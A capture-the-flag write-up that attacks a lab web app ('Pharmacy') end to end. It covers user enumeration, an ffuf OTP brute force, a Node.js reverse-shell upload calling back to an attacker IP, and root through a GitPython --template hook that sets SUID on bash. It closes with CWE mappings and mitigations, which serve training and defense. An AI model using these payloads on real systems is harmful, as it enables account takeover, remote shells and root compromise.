Target Information
- IP Address: 172.16.5.52
- Difficulty: Easy
- Tags: Web, File Upload, OTP Brute Force, Sudo Abuse, GitPython Injection
Reconnaissance
No port scan required — target exposed directly on port 3000.
Endpoint enumeration revealed:
/admin/login— admin panel/admin/reset-password— OTP-based password reset/upload— file upload (auth required)/uploads/— public static directory serving uploaded files
Web Enumeration
User Enumeration via Error Message Disclosure
The /admin/login endpoint leaks user existence through distinct error messages:
Endpoint: /admin/login
Request (non-existent user):
POST /admin/login HTTP/1.1
Host: 172.16.5.52:3000
Content-Type: application/x-www-form-urlencoded
email=nobody@pharmacy.hc&password=testResponse:
User not found!
Request (valid user):
POST /admin/login HTTP/1.1
Host: 172.16.5.52:3000
Content-Type: application/x-www-form-urlencoded
email=admin@pharmacy.hc&password=testResponse:
Invalid Credentials!
Domain pharmacy.hc identified from the login form placeholder. Username admin confirmed via enumeration.
Valid user: admin@pharmacy.hc
Exploitation: OTP Brute Force (No Rate Limiting)
Password Reset Flow Analysis
The /admin/reset-password flow is stateless — no session cookie is issued, state is passed via hidden form fields:
Step 1: POST step=email → validates user, renders OTP form
Step 2: POST step=otp → validates 6-digit token + new password
Key findings:
- No rate limiting on OTP submission
- Invalid OTP response size = 2647 bytes (consistent fingerprint)
- Success response = 302 redirect (34 bytes)
Brute Force with ffuf
Command:
seq -w 0 999999 > /tmp/otps.txt
ffuf -u http://172.16.5.52:3000/admin/reset-password \
-X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "step=otp&email=admin@pharmacy.hc&token=FUZZ&password=Pwned123" \
-w /tmp/otps.txt \
-t 100 \
-fs 2647Result:
[Status: 302, Size: 34] OTP: 876607
Password successfully reset to Pwned123.
Admin Login
Request:
POST /admin/login HTTP/1.1
Host: 172.16.5.52:3000
Content-Type: application/x-www-form-urlencoded
email=admin@pharmacy.hc&password=Pwned123Response:
HTTP/1.1 302 Found
Location: /admin
Set-Cookie: connect.sid=s%3A...Exploitation: Unrestricted File Upload → RCE
Upload Endpoint Discovery
Authenticated crawl with katana:
katana -u http://172.16.5.52:3000/admin \
-H "Cookie: connect.sid=..." \
-d 5 -jc -xhr -hl -nos -silentDiscovered /upload — multipart/form-data, field file.
Accepted formats (PDF/DOC/DOCX/XLS) enforced client-side only.
Reverse Shell
The server automatically executes .js files placed in /uploads/ (dynamic require / file watcher).
Listener:
nc -lvnp 4444Payload (shell.js):
(function(){
const net=require('net'),cp=require('child_process');
const client=new net.Socket();
client.connect(4444,'10.0.35.83',function(){
const sh=cp.spawn('/bin/sh',[]);
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
client.on('error',function(){});
})();Command:
curl -X POST http://172.16.5.52:3000/upload \
-H "Cookie: connect.sid=..." \
-F "file=@shell.js;type=application/javascript"Result:
[+] Got reverse shell as node@ip-172-16-5-52Post-Exploitation
Environment Enumeration
sudo -l
cat /opt/deploy.py
ls ~/node/
cat ~/user.txtFindings:
sudorule:(ALL) NOPASSWD: /usr/bin/python3 /opt/deploy.py *deploy.pyuses GitPythonRepo.clone_from()with user-controlledmulti_options- User flag found at
/home/node/user.txt - Binary
traitor-amd64present (unused)
Privilege Escalation: GitPython --template Injection
Enumeration
/opt/deploy.py accepts three arguments — repo_url, branch, and extra_opts:
clone_options = [f"--branch {branch}"]
if extra_opts:
clone_options.append(extra_opts)
Repo.clone_from(repo_url, dest, multi_options=clone_options)The repo_url allowlist check is bypassed with any local directory (os.path.isdir()).
extra_opts is passed unsanitized to multi_options.
GitPython blocks --upload-pack and -c via allow_unsafe_options, but --template is not on the blocklist.
Exploitation
git clone --template=<dir> copies the template's hooks/ into the destination .git/hooks/. The post-checkout hook runs automatically after checkout — as root.
# Malicious hook
mkdir -p /tmp/tmpl/hooks
printf '#!/bin/bash\nchmod +s /bin/bash\n' > /tmp/tmpl/hooks/post-checkout
chmod +x /tmp/tmpl/hooks/post-checkout
# Valid local git repo
git -C /tmp/r config user.email "a@a.com"
git -C /tmp/r config user.name "a"
git -C /tmp/r add . && git -C /tmp/r commit -m x
git -C /tmp/r branch -m main
# Inject --template via extra_opts
sudo /usr/bin/python3 /opt/deploy.py /tmp/r main "--template=/tmp/tmpl"
# SUID bash → root
/bin/bash -pResult:
bash-5.3# id
uid=1001(node) gid=1001(node) euid=0(root) egid=0(root)
# whoami
rootROOT OBTAINED!
Attack Chain Summary
1. User enumeration via error message disclosure
↓
2. OTP brute force (no rate limiting) — 876607
↓
3. Admin panel access + session cookie
↓
4. Unrestricted .js upload → auto-execution → reverse shell (node)
↓
5. sudo deploy.py → GitPython --template injection → post-checkout hook as root
↓
6. Root Access
Vulnerabilities Summary
| Vulnerability | CWE | Severity | Impact |
|---|---|---|---|
| User Enumeration via Error Messages | CWE-204 | Low | Valid username disclosure |
| Missing Rate Limiting on OTP | CWE-307 | High | OTP brute force → account takeover |
| Unrestricted File Upload | CWE-434 | Critical | Remote Code Execution |
| Unsafe sudo + GitPython option injection | CWE-78 | Critical | Privilege Escalation to root |
Mitigation Recommendations
Application Level
-
Uniform error messages on login:
$javascript// Always return the same message res.send("Invalid credentials."); -
Rate limiting on OTP endpoint:
$javascriptconst rateLimit = require('express-rate-limit'); app.use('/admin/reset-password', rateLimit({ windowMs: 15*60*1000, max: 10 })); -
Server-side file type validation:
$javascriptconst allowed = ['.pdf', '.doc', '.docx', '.xls']; if (!allowed.includes(path.extname(file.originalname))) { return res.status(400).send('File type not allowed'); }
System Level
-
Restrict sudo rule — avoid wildcard:
$bash# Instead of: /usr/bin/python3 /opt/deploy.py * # Use specific allowed repos only, remove extra_opts parameter -
Pass
allow_unsafe_options=Falseand sanitize all git options before use.
Tools Used
- ffuf — OTP brute force with response size filtering
- katana — Authenticated web crawling
- Burp Suite — Request analysis and replay
Flags
User Flag: hackingclub{c79910fc9d70298bc653433ae6c905dd}
Root Flag: hackingclub{bbdd592283cade723bd60b6d589a9d8c}
References
CWE References:
- CWE-204: Observable Response Discrepancy
- CWE-307: Improper Restriction of Excessive Authentication Attempts
- CWE-434: Unrestricted Upload of File with Dangerous Type
- CWE-78: OS Command Injection
Author: cbxcvl Date: 2026-05-08 Machine: Pharmacy
Proof of Concept Scripts
Exploit commands and requests are documented inline above. No standalone script was included in the source notes.